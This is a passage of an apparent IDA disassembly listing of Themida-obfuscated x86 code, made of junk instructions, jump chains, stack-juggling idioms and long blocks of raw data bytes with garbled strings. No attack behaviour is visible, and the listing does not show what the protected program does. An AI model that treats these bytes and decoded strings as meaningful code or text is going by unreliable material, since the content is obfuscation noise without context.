--------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_50A285 ; --------------------------------------------------------------------------- db 5Dh dd 456F5E35h, 58C7313Ch, 5007EFC1h, 6E0BA52h, 64E97B38h dd 6800001Ch, 1340659Fh, 8124348Bh, 4C4h, 4FEE8100h, 5735223Bh dd 6F66E5BFh, 65E7815Ah, 4F3B935Fh, 6CC6E781h, 0BE566C61h dd 4ECB5FC9h, 0B0CCE9h db 0 ; --------------------------------------------------------------------------- loc_50B2ED: ; CODE XREF: Themida_:00515FF0j push edx push ebp mov ebp, 4 mov edx, ebp pop ebp sub ebp, 35455298h add ebp, edx add ebp, 35455298h pop edx push 1E3Ah mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_50BF9B ; --------------------------------------------------------------------------- db 88h dd 59CF88F1h, 0FF9D08E9h, 59C821FFh, 0FF17B32Dh, 8BC131FFh dd 0C4832404h, 59CF0104h, 0FF7FFFE9h, 2434FFFFh, 4C48358h dd 4EC8350h, 89241C89h, 4C381E3h, 83000000h, 1C3304EBh dd 241C3124h, 5C241C33h, 68242489h, 3AD1h, 0B8240489h dd 4, 20FE9h, 0F9015800h, 74FF515Fh, 0C8B0424h, 4C48324h dd 0E924048Fh, 0FFFFD1EBh ; --------------------------------------------------------------------------- loc_50B38C: ; CODE XREF: Themida_:005055B1j xchg esi, [esp] pop esp mov [esp], esi jmp loc_50A8D9 ; --------------------------------------------------------------------------- loc_50B398: ; CODE XREF: Themida_:00513A51j mov esi, [esp] add esp, 4 push 1A9Bh mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp or edx, eax shl edx, 1 jmp loc_50A52E ; --------------------------------------------------------------------------- loc_50B3B8: ; CODE XREF: Themida_:005135E1j pop ecx sub esp, 4 mov [esp], ecx xchg esi, [esp] not esi xor [esp], esi xor esi, [esp] jmp loc_50B8A6 ; --------------------------------------------------------------------------- loc_50B3D2: ; CODE XREF: Themida_:00515972j xor [esp], ecx xor ecx, [esp] xor [esp], ecx push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push esi jmp loc_509A2C ; --------------------------------------------------------------------------- loc_50B3EE: ; CODE XREF: Themida_:0050F718j add ecx, esi pop esi sub eax, ecx jmp loc_515B95 ; --------------------------------------------------------------------------- aQskn db 'Qék',0 align 2 dw 1C33h dd 241C3124h, 0E9241C33h, 2C3Fh, 2508E8C1h, 75B705D4h dd 6808E8C1h, 7837h, 4067E9h, 243C8900h, 0C833E954h, 815B0000h dd 0CC111DF3h, 0DF295847h, 0BEE9E9h, 8BC80100h, 0C483240Ch dd 1DBCE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B446: ; CODE XREF: Themida_:00512913j shr dword ptr [eax], 6 neg dword ptr [eax] and dword ptr [eax], 0BD06F84h add dword ptr [eax], 33D07F21h push edx jmp loc_50FC24 ; --------------------------------------------------------------------------- db 66h, 5Bh, 0 dd 305866C5h, 240C8BE8h, 4C481h, 0EC830000h, 2D35E904h dd 0F3810000h, 0B866B505h, 535BDF31h, 667339BBh, 611D680Fh dd 2C890000h, 471BBD24h, 0BB537865h, 998519Eh, 0FF92FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_50B49D: ; CODE XREF: Themida_:0050A144j pop esi add eax, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] jmp loc_513941 ; --------------------------------------------------------------------------- aScj_0 db '\éCj',0 db 0 ; --------------------------------------------------------------------------- loc_50B4B9: ; CODE XREF: Themida_:00507B42j push ebp mov ebp, esp jmp loc_50786B ; --------------------------------------------------------------------------- db 68h, 0D7h, 6Dh dd 4890000h, 163BB824h, 8C3513C5h, 3112DC19h, 24048BC2h dd 9E05E9h, 4A18BF00h, 0DFF705C9h, 8108EFC1h, 0FA36B1F7h dd 68565200h, 28ED48A8h, 0EEC14E5Eh, 3EEC105h, 8E36F681h dd 0FFE930A0h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50B507: ; CODE XREF: Themida_:005168ABj mov ebx, 0AFADA27Ch sub eax, ebx pop ebx add ebx, eax jmp loc_5030DB ; --------------------------------------------------------------------------- dw 0EF88h dd 592434FFh, 4C481h, 665A0000h, 9B1CE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B52A: ; CODE XREF: Themida_:0050ABF9j not ebx xor ebx, 0F23FD6EBh push 75DFh mov [esp], edi mov edi, ebx mov ebp, edi mov edi, [esp] add esp, 4 mov ebx, [esp] jmp loc_5056F1 ; --------------------------------------------------------------------------- db 5Bh dd 0EC83D828h, 14896602h, 4E5B224h, 66D00050h, 2850B551h dd 665966E8h, 241C8B5Ah, 6604C483h, 665D6168h, 0E9240C89h dd 6CE8h, 0E9241C89h, 0FFFFA5DFh, 4244401h, 2434FF58h dd 0C5BCE958h, 1C89FFFFh, 42EEBB24h, 0D3F748E8h, 8904EC83h dd 0F3B9240Ch, 0E948E842h, 0FFFFF021h ; --------------------------------------------------------------------------- loc_50B5AC: ; CODE XREF: Themida_:0050E8A7j pop esi sub esi, 0F38A3E06h mov ebx, esi pop esi sub ebp, ebx pop ebx add eax, 7AE74BF2h sub eax, ebp sub eax, 7AE74BF2h push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 push 1616h mov [esp], edx push esi push ecx sub esp, 4 mov [esp], ebp mov ebp, 5D990AB4h jmp loc_50E41F ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 5C241487h, 0BD242C89h, 3EF6B9Fh, 8104E5C1h dd 1EDh, 0BA525700h, 5B3C206Eh, 7B49E1BFh, 8BD73138h, 0C4812414h dd 4, 3C8BFD09h, 88D3E924h, 0C3830000h, 0BE3BE904h, 0D6F7FFFFh dd 0FFEEEAE9h, 59CC88FFh, 888EB652h, 0E5285AF5h, 40C38058h dd 3DEB80h, 3DC380EBh, 0E940EB80h, 51F0h, 0BE9C281h, 0EA81FE4Eh dd 748B3C90h, 0F2E9FA01h, 0BD0000B8h, 4, 43E9E829h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B677: ; CODE XREF: Themida_:0050E3F0j push 3766h mov [esp], edi jmp loc_50C656 ; --------------------------------------------------------------------------- dd 0C0C5FE5Ah, 0ED8004E5h, 53525317h, 0DA88EB88h, 5AD3885Bh dd 88FFC380h, 0C8A7E9DDh, 0C681FFFFh, 11800CCCh, 592434FFh dd 4C481h, 34330000h, 0BF65E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B6BA: ; CODE XREF: Themida_:0050E218j sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebp push 0ABB3A0Eh jmp loc_516B64 ; --------------------------------------------------------------------------- dw 3489h dd 0B3CCE924h, 0ABBAFFFFh, 81276621h, 12939C2h, 0E9D30121h dd 0FFFF8BDCh ; --------------------------------------------------------------------------- loc_50B6F0: ; CODE XREF: Themida_:00502D6Aj mov [esp], eax jmp loc_512330 ; --------------------------------------------------------------------------- dd 0E243481h, 5D648C08h, 80EF581h, 1AE9648Ch, 58FFFFF9h dd 21E952h, 0E1C10000h, 53D9F708h, 5910BBh, 0B34DE951h dd 0EF800000h, 69FF68FFh, 0C890000h, 5DE95224h, 5300001Eh dd 4BBh, 5BDA8900h, 43576205h, 2DD00134h, 34435762h, 0A86EE95Ah dd 0EA810000h, 4, 8B241487h, 2C892424h, 0D4EB6824h, 535D1990h dd 0AC0F7F68h, 0DBF75B47h, 642E381h, 0EBC1221Fh, 0A7E4E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B77A: ; CODE XREF: Themida_:0051436Cj dec edi or edi, 3BA26AF9h sub edi, 39611EDDh sub eax, edi pop edi dec eax sub eax, 1EF8E4C9h add ebx, eax pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_509FE1 ; --------------------------------------------------------------------------- loc_50B7A2: ; CODE XREF: Themida_:0051533Cj xor ebx, 634152FBh add ebx, 1 sub esp, 4 mov [esp], edx mov edx, 1E3D7DA8h inc edx dec edx xor edx, 0E7468146h add ebx, edx jmp loc_50EB88 ; --------------------------------------------------------------------------- loc_50B7CB: ; CODE XREF: Themida_:00506320j mov eax, [esp] add esp, 4 shr edx, 1 add edx, 4D202822h push ebp mov ebp, 236B6C81h add edx, ebp pop ebp push esi mov esi, 30AA19D3h add esi, 0A020FA3h or esi, 6929735Eh sub esi, 76CD0D1Fh xor edx, esi pop esi jmp loc_50BF2A ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 81242489h, 42404h, 2C8B0000h, 6193E924h, 8F5A0000h dd 248B2404h, 2F6B6824h, 42E90000h, 83FFFF81h, 0C8904ECh dd 0AA9B924h, 0E981077Dh, 37B8432Bh, 0C1FFE983h, 0F18104E9h dd 1ECF2F5Ah, 1C181h, 0F1810000h, 53F6417Bh, 4559CD89h dd 0FFFFED81h, 3FE9FFFFh, 0BB000060h, 0FF37F9D6h, 15BDD01h dd 0C2815DEAh, 4, 653468h, 24148900h, 42474FFh, 0E924148Bh dd 0FFFF752Bh, 310B30BFh, 5FF9290Fh, 411BD55h, 0FCE92EFFh db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_50B89B: ; CODE XREF: Themida_:005096F7j add ebp, 4 jmp loc_50FB69 ; --------------------------------------------------------------------------- loc_50B8A6: ; CODE XREF: Themida_:0050B3CDj xor [esp], esi jmp loc_5134F4 ; --------------------------------------------------------------------------- loc_50B8AE: ; CODE XREF: Themida_:00503F9Dj add eax, 4 add eax, 4 jmp loc_5037EF ; --------------------------------------------------------------------------- loc_50B8BB: ; CODE XREF: Themida_:00507262j neg ebp sub ebp, 8C98A37Dh mov ecx, ebp pop ebp push ecx mov ecx, 63701D23h shr ecx, 2 jmp loc_50BFA3 ; --------------------------------------------------------------------------- dd 24348B54h, 0FFCF0EE9h db 0FFh ; --------------------------------------------------------------------------- loc_50B8DD: ; CODE XREF: Themida_:0050557Ej and edi, 79D554C6h or edi, 5D53EA0h xor edi, 18201458h sub eax, edi pop edi jmp loc_514C9F ; --------------------------------------------------------------------------- db 89h dd 0B439E9D1h, 0C681FFFFh, 0E1AFC808h, 0FF8906E9h, 0E9F809FFh dd 0FFFFD506h, 0E9241C89h, 0A930h, 3013E95Ch, 2C590000h dd 807CE94Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B926: ; CODE XREF: Themida_:00515A3Dj sub esp, 4 mov [esp], edi push eax mov eax, 57B179C4h and eax, 2AB0619Fh shr eax, 5 shl eax, 3 shl eax, 1 jmp loc_50832E ; --------------------------------------------------------------------------- dd 592434FFh, 5904C483h, 79AAE9h, 59CE0100h, 7BEA68h, 243C8900h dd 397B85BFh, 9CF814Ch, 0E9443A06h, 2FACh, 55E18951h, 769CBB53h dd 98BD35A3h, 3135A376h, 6122E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B982: ; CODE XREF: Themida_:0050D507j pop esp mov [esp], ecx push esp pop ecx push ebx mov ebx, 4 jmp loc_511FFB ; --------------------------------------------------------------------------- db 8Bh dd 4082424h, 2CE99C24h, 29FFFF71h, 15B5AD0h, 3EFA68E8h dd 0C890000h, 0E05E924h, 0C5810000h, 4, 4BA52h, 52E90000h dd 89000079h, 4C681E6h, 81000000h, 4EEh, 24348700h, 241C895Ch dd 0D78B2BBh, 60CB815Bh, 8144C41Bh, 4ECh, 241C8900h, 0FF77E2E9h dd 9EE68FFh, 14890000h, 81E28924h, 4C2h, 4C28100h, 87000000h dd 0EE92414h, 580000BFh, 8A56E9h db 0 ; --------------------------------------------------------------------------- loc_50BA15: ; CODE XREF: Themida_:00516769j mov edi, ebp jmp loc_510818 ; --------------------------------------------------------------------------- dd 814BC381h, 0EF81C878h, 1388356Dh, 0C781DF01h, 1388356Dh dd 8B2434FFh, 6EE9241Ch, 89000050h, 34E9243Ch, 8B00001Fh dd 0E92424h, 10000A6h, 0E2E95AD3h, 810000BFh, 4ECh, 24248900h dd 4240483h, 40558h, 0EC830000h, 24348904h, 720B0BBEh dd 0FBF5777h, 3177720Bh, 243C8BFEh, 7C56E9h db 0 ; --------------------------------------------------------------------------- loc_50BA81: ; CODE XREF: Themida_:0050A05Cj add edx, ebp pop ebp push ecx mov ecx, 75C7599Ch add edx, ecx pop ecx add edx, ebp sub edx, 75C7599Ch push ecx mov ecx, 42967A5h jmp loc_508199 ; --------------------------------------------------------------------------- dd 0FD685E5Eh, 8900006Ah, 0C4E92414h, 0BDFFFFB1h, 4C2CA66Fh dd 0D15FFD29h, 0ED814DEDh, 64447591h, 68h, 242C2900h, 5877E95Dh dd 3C870000h, 6DE95C24h, 59000061h, 0B1CAE9h db 0 ; --------------------------------------------------------------------------- loc_50BADD: ; CODE XREF: Themida_:0050EF4Aj mov [esp], edi sub esp, 4 mov [esp], esp jmp loc_50A8E8 ; --------------------------------------------------------------------------- loc_50BAEB: ; CODE XREF: Themida_:00516538j sub bl, 0F9h add bl, 89h jmp loc_50348F ; --------------------------------------------------------------------------- loc_50BAF6: ; CODE XREF: Themida_:0050F68Fj shl edi, 6 xor edi, 683AC182h add esi, edi pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp sub [esp], al pushf jmp loc_502ACB ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 2414895Ch, 5670BB53h, 7E908ACh, 0B8000060h, 7C1A72A4h dd 4244401h, 68E95F58h, 81000001h, 0A15D73C2h, 0CB68591Ah dd 89000068h, 0BE56240Ch, 2, 15EF189h, 0FF5259CAh, 5A042474h dd 56E6E9h db 0 byte_50BB5D db 66h, 8Bh, 4 ; DATA XREF: Themida_:0050295Co aSiuss db '$S‰ãéá[',0 db 0 ; --------------------------------------------------------------------------- loc_50BB69: ; CODE XREF: Themida_:0050C73Aj push 4E02h mov [esp], esi push ebx mov ebx, 5F771992h jmp loc_512902 ; --------------------------------------------------------------------------- dd 1B4CF381h, 0D9011ED7h, 83241C8Bh, 0C18104C4h, 2, 98B5E9h db 0 ; --------------------------------------------------------------------------- loc_50BB95: ; CODE XREF: Themida_:00512245j push esp push dword ptr [esp] pop ebp add esp, 4 add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ecx jmp loc_511835 ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0C6810000h, 4, 8B243487h, 0BE0F2424h, 0E95451C8h dd 9CF0h, 4244481h, 567D2C6Bh, 99BF5750h, 895ADF19h, 44295FF8h dd 48B0824h, 4C48324h, 4245401h, 4244481h, 5ADF1999h, 74696851h dd 1C890000h, 961BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BC0A: ; CODE XREF: Themida_:00507221j push esi mov esi, 3AAA7267h and esi, 35A6631Fh shr esi, 7 or esi, 2E7829F2h xor esi, 503A1F16h add esi, 81BC8D24h add ebx, esi pop esi jmp loc_507D1D ; --------------------------------------------------------------------------- db 89h dd 89535EF7h, 8BDD89FBh, 0C483241Ch, 0D350E904h db 2 dup(0FFh) word_50BC46 dw 8B66h ; DATA XREF: Themida_:005028FCo dd 6852240Ch, 6501h, 56242489h, 0FFDC3BE9h, 2DF001FFh dd 18E132B9h, 33102205h, 2434FF50h, 6382E9h db 0 ; --------------------------------------------------------------------------- loc_50BC6D: ; CODE XREF: Themida_:0050A280j push edx add dword ptr [esp], 43B95551h pop ebp sub ebp, 43B95551h mov edx, [esp] add esp, 4 and eax, ebp pop ebp or edx, eax shl edx, 1 push ecx mov ecx, esp push edi jmp loc_5060AA ; --------------------------------------------------------------------------- dw 0D6B3h dd 4EC81h, 0FAE90000h, 56FFFFA9h, 3049EEBEh, 81DEF714h dd 534BBEEEh, 0D8AFE94Ah, 14BBFFFFh, 0F7590043h, 1EB83DBh dd 4E41E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50BCC2: ; CODE XREF: Themida_:0051478Dj jmp loc_502ACB ; --------------------------------------------------------------------------- loc_50BCC7: ; CODE XREF: Themida_:0050604Fj push ebp push esp pop ebp jmp loc_514F39 ; --------------------------------------------------------------------------- aQS5 db 'QµÐé',1Bh,'5',0 dw 0B700h dd 0E9F83031h, 0FFFFF77Dh, 66EAE281h, 0C2683A57h, 89000012h dd 0BD552404h, 65C4A3Ah, 0E95DE889h, 0FFFF8426h aMrPTFshT db '¬R²Àâ',8,'fShËT',0 ; DATA XREF: Themida_:00502940o align 2 dw 1489h dd 0E901B224h, 9723h ; --------------------------------------------------------------------------- loc_50BD14: ; CODE XREF: Themida_:005100A4j push dword ptr [esp] pop edi add esp, 4 push edx jmp loc_509378 ; --------------------------------------------------------------------------- dd 4C0CED81h, 814D0689h, 3362D1EDh, 0E9E831B9h, 0FFFFC9DAh ; --------------------------------------------------------------------------- loc_50BD38: ; CODE XREF: Themida_:0050E41Aj add ecx, 1554DDEh pop eax jmp loc_50D8A5 ; --------------------------------------------------------------------------- dd 2FCEEE81h, 148B51EAh, 0E6895624h, 0FFA661E9h, 4CC468FFh dd 1C890000h, 240CFF24h, 8B2414F7h, 99E9241Ch db 0BFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50BD6B: ; CODE XREF: Themida_:00503CDBj push ebx push edx jmp loc_50792B ; --------------------------------------------------------------------------- loc_50BD72: ; CODE XREF: Themida_:00509D55j xor [esp], edx xor edx, [esp] jmp loc_5045D2 ; --------------------------------------------------------------------------- db 58h, 21h, 0CFh dd 81240C8Bh, 4C4h, 57906800h, 14890000h, 7226BA24h, 0D7314DDFh dd 8324148Bh, 0FE2904C4h, 5B98E9h db 0 ; --------------------------------------------------------------------------- loc_50BDA5: ; CODE XREF: Themida_:00508E11j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp loc_50BDB2: ; CODE XREF: Themida_:00507F72j sub esp, 4 mov [esp], esi jmp loc_5063D9 ; --------------------------------------------------------------------------- loc_50BDBD: ; CODE XREF: Themida_:00514232j pop esp push 4B28h mov [esp], ebx push ecx sub esp, 4 mov [esp], eax push edx mov dl, 15h mov al, dl pop edx dec al jmp loc_50A44D ; --------------------------------------------------------------------------- loc_50BDDD: ; CODE XREF: Themida_:005039FDj push 719Bh mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 pop dword ptr [esp] mov ebp, [esp] push 51B9h jmp loc_50D5C9 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0E4h dd 1FF5078h, 0EAC15FFAh, 5EAC107h, 6562CA81h, 0BE5664E8h dd 4B92002Dh, 8102EEC1h, 0C6167EF6h, 6F6810Ah, 0E9DA1914h dd 4E6Eh, 1EEE815Dh, 8160AB64h, 0EA222ACEh, 8AEE8100h dd 815ACE51h, 0EF421DEEh, 0D6F74E6Fh, 7168EE81h, 3E9C2CFh dd 68000007h, 4F01h, 53242489h, 0A52AE9h, 2474FF00h, 24048B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_50F449 ; --------------------------------------------------------------------------- db 81h, 0CAh, 52h dd 815EA01Ch, 0E08E53F2h, 138F052Ch, 0D0012039h, 39138F2Dh dd 67E95A20h, 89000080h, 511E9E3h, 0D8210000h, 12D5Bh dd 0E8830000h, 149AE901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50BEBA: ; CODE XREF: Themida_:0050D6DAj shr ecx, 2 add ecx, 541B5472h sub ecx, 70DC1AB6h xor esi, ecx mov ecx, [esp] add esp, 4 xchg ebx, esi not ebx xchg ebx, esi jmp loc_517E08 ; --------------------------------------------------------------------------- loc_50BEDC: ; CODE XREF: Themida_:00513998j pop esp jmp loc_509ED0 ; --------------------------------------------------------------------------- dw 0C483h dd 68565604h, 57D1h, 0E9241489h, 21CEh, 6853665Bh, 6F0Bh dd 0B6241489h, 3062B3CEh, 24148BF3h, 80AEE9h db 0 ; --------------------------------------------------------------------------- loc_50BF0D: ; CODE XREF: Themida_:005119A8j pop eax add [esp+4], ebp pop ebp mov eax, [esp] push esi push esp pop esi push ebx mov ebx, 7F553398h sub ebx, 7F553394h jmp loc_506E52 ; --------------------------------------------------------------------------- loc_50BF2A: ; CODE XREF: Themida_:0050B800j xor edx, 0CA3BA360h jmp loc_50FBFA ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0F4h dd 58000014h, 4E9D0F7h, 8FFFFFA5h, 248B2404h, 24048924h dd 0FF6B7AE9h, 88F088FFh, 24048B01h, 2C6368h, 241C8900h dd 0C381E389h, 4, 0E904C383h, 0FFFFCC09h ; --------------------------------------------------------------------------- loc_50BF70: ; CODE XREF: Themida_:0050EAFCj pop eax push eax jmp loc_50D193 ; --------------------------------------------------------------------------- dd offset dword_49D85C+10Ch align 4 aISux db '‰$$éux',0 align 4 aHk db 'hª~',0 dd 240C8900h, 240C8B54h, 4C481h, 8BE90000h db 0ADh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50BF9B: ; CODE XREF: Themida_:0050B316j mov esp, [esp] jmp loc_505AEE ; --------------------------------------------------------------------------- loc_50BFA3: ; CODE XREF: Themida_:0050B8CFj add ecx, 626B1124h sub ebx, ecx pop ecx sub ebx, ecx jmp loc_504B22 ; --------------------------------------------------------------------------- db 83h dd 75E904C4h, 68FFFF89h, 8DEC5C49h, 3635E95Bh, 68560000h dd 194A787Ch, 1C6815Eh, 0C10FFB7Eh, 0C68108EEh, 55B7E38Dh dd 515EF589h, 7E6703B9h, 2EC18127h, 313BBCB9h, 0EF8959CDh dd 0E9EFD15Dh, 4A26h, 0EAC0B8B2h, 0A750E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C002: ; CODE XREF: Themida_:00510FBAj xor ecx, [esp] pop esp jmp loc_502ACB ; --------------------------------------------------------------------------- loc_50C00B: ; CODE XREF: Themida_:005033A4j mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 add esi, 4 jmp loc_5084A9 ; --------------------------------------------------------------------------- dw 525Ch dd 4BB53h, 0DA890000h, 0FFF0CFE9h, 5BDF31FFh, 3E7EBA52h dd 0C2833001h, 2C875201h, 0DA0EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C04A: ; CODE XREF: Themida_:005125FAj sub ebp, 4 jmp loc_50D504 ; --------------------------------------------------------------------------- dw 0C181h dd 6C32276Bh, 0FCE9E901h, 87000086h, 87EA87D7h, 87D6F7F5h dd 87EA87F5h, 0EFF781D7h, 0E95FF119h, 77B9h, 0C681C629h dd 2692235Eh, 8DF68158h, 0F72ABA14h, 58C681D6h, 81184E07h dd 0ECB104EEh, 5EF50114h, 305ABD55h, 0E92948B1h, 81E9015Dh dd 0B1305AC1h, 2434FF48h, 4C4815Dh, 81000000h, 2C1h, 240C3300h dd 0E9240C31h, 4699h, 0D006C781h, 0F8018041h, 7C3FE9h db 0 ; --------------------------------------------------------------------------- loc_50C0D1: ; CODE XREF: Themida_:00512128j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_510F81 ; --------------------------------------------------------------------------- loc_50C0E4: ; CODE XREF: Themida_:00514CAFj mov edx, 4 add ecx, edx pop edx jmp loc_51707F ; --------------------------------------------------------------------------- db 89h, 0CAh, 59h dd 1B65BD55h, 15E9465Bh, 0BB000014h, 79855C53h, 0FF843EE9h dd 5FF829FFh, 592434FFh, 7804E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C116: ; CODE XREF: Themida_:0050641Bj xor ecx, 7B1E3CFAh jmp loc_50DFB4 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 83000000h, 9AE904EEh, 0BEFFFF7Fh, 1AF628E4h, 815FFE31h dd 802BC4C5h, 81F52938h, 802BC4EDh, 8294E938h, 5055FFFFh dd 3869E9h db 0 ; --------------------------------------------------------------------------- loc_50C151: ; CODE XREF: Themida_:0050671Aj mov ebp, 0ECB28D13h xor esi, ebp mov ebp, [esp] add esp, 4 jmp loc_51327E ; --------------------------------------------------------------------------- loc_50C163: ; CODE XREF: Themida_:0050CA0Fj push edi mov edi, 3889719Ch sub [esp+4], edi jmp loc_509729 ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 4C4835Ch, 0FFA673E9h, 0C40558FFh, 891346D1h dd 0FBEFE9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C18E: ; CODE XREF: Themida_:00508B36j xor edi, 0F17B2FF0h mov ebx, edi pop edi jmp loc_511DA1 ; --------------------------------------------------------------------------- dd 2BBh, 5BD90100h, 0AA54E9h db 0 ; --------------------------------------------------------------------------- loc_50C1A9: ; CODE XREF: Themida_:00506BF4j sub ebp, ebx jmp loc_506712 ; --------------------------------------------------------------------------- loc_50C1B0: ; CODE XREF: Themida_:0050F067j add dword ptr [esp], 4 mov ebp, [esp] jmp loc_508DCE ; --------------------------------------------------------------------------- db 81h dd 2E4498E9h, 243C8B0Ah, 4C481h, 0C870000h, 24248B24h dd 204CE9h, 4C48100h, 68000000h, 33ACh, 0E9243489h, 9B18h dd 55D30159h, 0FFBA7FE9h, 24048FFFh, 3124248Bh, 3C33243Ch dd 243C3124h, 61F9E9h db 0 byte_50C209 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005027FCo dd offset dword_4D985C+8Dh dd 81FA0100h, 4910AAC2h, 74696810h, 0C890000h, 0EA685024h dd 8B19AB42h, 0D1E92404h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50C22F: ; CODE XREF: Themida_:0050DFBCj pop ebp jmp loc_506456 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 74FF2414h, 0E95A0424h, 0B3BAh, 95E9DF29h dd 800000BCh, 156880EBh, 8900005Ah, 0A4B5240Ch, 39F0E952h dd 48B0000h, 91D8E924h, 4050000h, 5000000h, 4, 2474FF50h dd 6AC6E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50C27E: ; CODE XREF: Themida_:0050AD4Dj mov [esp], ebp push 2C9E7A9Bh jmp loc_50DC20 ; --------------------------------------------------------------------------- db 83h dd 0C60104C4h, 8A9EE81h, 0EE815859h, 536D2128h, 582434FFh dd 0AFE95455h, 1000037h, 240C8BCFh, 4C481h, 20E90000h db 96h, 2 dup(0FFh) byte_50C2B7 db 66h ; DATA XREF: Themida_:00502A40o dd 6824048Bh, 7AB2h, 873E9h, 14206800h, 9CE90000h, 89000058h dd 68532404h, 5ED22391h, 0A8BE565Bh, 8178D92Dh, 0E50C31F6h dd 8FCE8120h, 0E94D471Eh, 0FFFF718Ah ; --------------------------------------------------------------------------- loc_50C2F0: ; CODE XREF: Themida_:00516BD6j add ecx, edi add ecx, 5B396260h mov edi, [esp] add esp, 4 jmp loc_50C932 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 45E95B5Eh, 8300009Ah, 0EF8104C4h, 5B0F0F73h, 9197E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50C322: ; CODE XREF: Themida_:005175E5j xor esi, edi pop edi mov edx, 9FD29A7Eh sub edx, 3430691Fh sub edx, 5D240122h jmp loc_5098D2 ; --------------------------------------------------------------------------- db 52h dd 0BC50DCBAh, 0F7F28764h, 42F287D6h, 0E281D2F7h, 347C2350h dd 0C281DAF7h, 243C0054h, 0FFF6EEE9h, 1102DFFh, 0F029071Dh dd 7C33BE56h, 0E6815013h, 5E744580h, 4E03E681h, 52E9082Ch dd 29000008h, 815A5AD6h, 0A06910EEh, 68CE0139h, 359h, 0B9240C89h dd 50E95415h, 5D05E9h, 0E9535D00h, 0FFFF7A2Bh, 57A2BB53h dd 0DF897DE3h, 685Bh, 99E90000h, 89000015h, 0D6E9241Ch dd 81FFFF95h, 4C3h, 4EB8300h, 5C241C87h, 89241489h, 6897E9E2h dd 0BE56FFFFh, 28B7279Fh, 0FFAFD9E9h, 82E958FFh, 68FFFFA6h dd 620Bh, 0BB241C89h, 2, 1C8BDD01h, 4C48124h, 87000000h dd 665C242Ch, 9C242CD3h, 0FF66C2E9h, 0DEF281FFh, 0C16C2A47h dd 6805E2h, 29000000h, 575A2414h, 0FFADF1E9h db 0FFh ; --------------------------------------------------------------------------- loc_50C421: ; CODE XREF: Themida_:005107C1j pop ecx jmp loc_503CA3 ; --------------------------------------------------------------------------- byte_50C427 db 0FFh ; DATA XREF: Themida_:005029F4o dd 669D1C77h, 1CD36659h, 94E99C24h, 5AFFFF66h, 0F657B551h dd 53CDFEDDh, 0FD28D4B7h, 8B2434FFh, 0C481241Ch, 4, 7E6EE9h dd 14875C00h, 24248B24h, 0E9241489h, 0FFFF6667h ; --------------------------------------------------------------------------- loc_50C464: ; CODE XREF: Themida_:005171B6j add ebp, edx pop edx add ebp, eax jmp loc_50C915 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 0FFE424E9h, 89515BFFh, 4EC81D1h, 89000000h, 0FF5F240Ch dd 81592434h, 4C4h, 2434FF00h, 8669E95Ah db 2 dup(0) word_50C49A dw 8B66h ; DATA XREF: Themida_:00502910o dd 0EF682404h, 8900003Eh, 0EC81242Ch, 4, 68242489h, 2DD6h dd 57240C89h, 4BFh, 5FF98900h, 4244C01h, 2434FF59h, 5D54555Dh dd 4C581h, 0C5810000h, 4, 5C242C87h, 4B951h, 0CAE90000h db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50C4E7: ; CODE XREF: Themida_:00506B3Dj mov esi, [esp] add esp, 4 jmp loc_513992 ; --------------------------------------------------------------------------- dw 0DD2Dh dd 31355FF4h, 2434FFC3h, 8BA3E958h, 8159FFFFh, 4C1h, 68525700h dd 68E94D52h, 0FFD69FE9h, 243433FFh, 33243431h, 248B2434h dd 83F1E924h, 53520000h, 1C2A2C68h, 0E3C15B36h, 0BD555605h dd 0 dd 